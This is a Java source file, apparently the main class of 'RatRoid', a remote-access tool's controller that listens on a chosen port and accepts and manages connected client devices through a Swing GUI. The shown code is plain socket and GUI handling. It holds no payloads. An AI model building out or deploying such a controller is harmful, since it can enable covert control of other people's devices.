/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */
package RatRoid;

import Control.Clients;
import Control.ThreadHandle;
import GUI.Stats;
import GUI.MainGui;
import com.jtattoo.plaf.noire.NoireLookAndFeel;
import java.io.IOException;
import java.net.ServerSocket;
import java.util.Date;
import java.util.Iterator;
import java.util.Properties;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.JOptionPane;
import javax.swing.UIManager;

/**
 *
 * @author Sam
 */
public class Main {

    public static ServerSocket ss  ;
    public static MainGui myapp;
    private static int port;
    public static int nbcliens = 0;
    public static ThreadHandle threads = new ThreadHandle();
    public static boolean started=true;

    public static void main(String[] args) {
        
        try {

            Properties props = new Properties();
            props.put("logoString", "RatRoid");
            NoireLookAndFeel.setCurrentTheme(props);
            UIManager.setLookAndFeel("com.jtattoo.plaf.noire.NoireLookAndFeel");

        } catch (Exception e) {
        }
        myapp = new MainGui();
        
        listenSocket();
        
    }

    public static void chooseport() {
        boolean isport = true;
        while (isport) {
            isport = false;
            String sport = JOptionPane.showInputDialog(myapp, "Please Choose Port !", "Server Port !", JOptionPane.QUESTION_MESSAGE);
            try {
                port = Integer.parseInt(sport);
            } catch (Exception e) {
                JOptionPane.showMessageDialog(myapp, "invalid port , please choose between 21 and 65535", "error", JOptionPane.ERROR_MESSAGE);
                isport = true;
            }
            if (port == 0 || port <= 21 || port >= 65535) {
                JOptionPane.showMessageDialog(myapp, "invalid port , must be > 21", "error", JOptionPane.ERROR_MESSAGE);
                isport = true;
            }
        }
    }

    public static void listenSocket() {

        ss = null;

        try {
            chooseport();
            ss = new ServerSocket(port);
            myapp.porttext.setText("Listening on port : " + port);
            myapp.getInfoPanel().setPort(String.valueOf(port));
        } catch (IOException ioe) {
            try {
                JOptionPane.showMessageDialog(myapp, "Port Used , choose an other port", "Port Used", JOptionPane.ERROR_MESSAGE);
                chooseport();
                ss = new ServerSocket(port);
            } catch (@SuppressWarnings("LocalVariableHidesMemberVariable") IOException i) {
                try {
                    ss = new ServerSocket(0);
                } catch (IOException ex) {
                    Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
                }
            }
        }
        myapp.addStats(new Stats("Server", "Server Started", "Port : " + ss.getLocalPort(), new Date().toString()));
        JOptionPane.showMessageDialog(myapp, "Your Port is " + ss.getLocalPort(), "Thanks !", JOptionPane.INFORMATION_MESSAGE);
        MainGui.porttext.setText("Listening on port : " + ss.getLocalPort());
        myapp.getInfoPanel().setPort(String.valueOf(port));
        myapp.getInfoPanel().getTime().setText(new Date().toString());
        
                    while (true) {
                   if(started){
            Clients client = new Clients(ss, myapp);
            
            }
                   else{
                        try {
                            Thread.sleep(5000);
                        } catch (InterruptedException ex) {
                            Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
                        }
                   }
                    
                
            }
        
    }

    public static void start() {
        if(!started){
        ss = null;

        try {
            chooseport();
            ss = new ServerSocket(port);
            MainGui.porttext.setText("Listening on port : " + port);
            myapp.getInfoPanel().setPort(String.valueOf(port));
        } catch (IOException ioe) {
            try {
                JOptionPane.showMessageDialog(myapp, "Port Used , choose an other port", "Port Used", JOptionPane.ERROR_MESSAGE);
                chooseport();
                ss = new ServerSocket(port);
            } catch (@SuppressWarnings("LocalVariableHidesMemberVariable") IOException i) {
                try {
                    ss = new ServerSocket(0);
                } catch (IOException ex) {
                    Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
                }
            }
        }
        myapp.addStats(new Stats("Server", "Server Started", "Port : " + ss.getLocalPort(), new Date().toString()));
        JOptionPane.showMessageDialog(myapp, "Your Port is " + ss.getLocalPort(), "Thanks !", JOptionPane.INFORMATION_MESSAGE);
        MainGui.porttext.setText("Listening on port : " + ss.getLocalPort());
        myapp.getStatus().setText("Status : Started");
        myapp.getInfoPanel().setPort(String.valueOf(port));
        started=true;
        }

    }
    public static void stop(){
        if(started){
        for (Iterator<Clients> it = threads.getthreads().iterator(); it.hasNext();) {
            Clients client1 = it.next();
            try {
                client1.getsocket().close();
            } catch (IOException ex) {
                Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
            }
            it.remove();
        }
        try {
            ss.close();
        } catch (IOException ex) {
            Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, ex);
        }
        started=false;
        myapp.addStats(new Stats("Server", "Server Stopped", "Port : " + ss.getLocalPort(), new Date().toString()));
        myapp.getStatus().setText("Status : Stopped");
        MainGui.porttext.setText("Listening on port : --");
        myapp.getInfoPanel().setPort(" -- ");
        }
    }
}
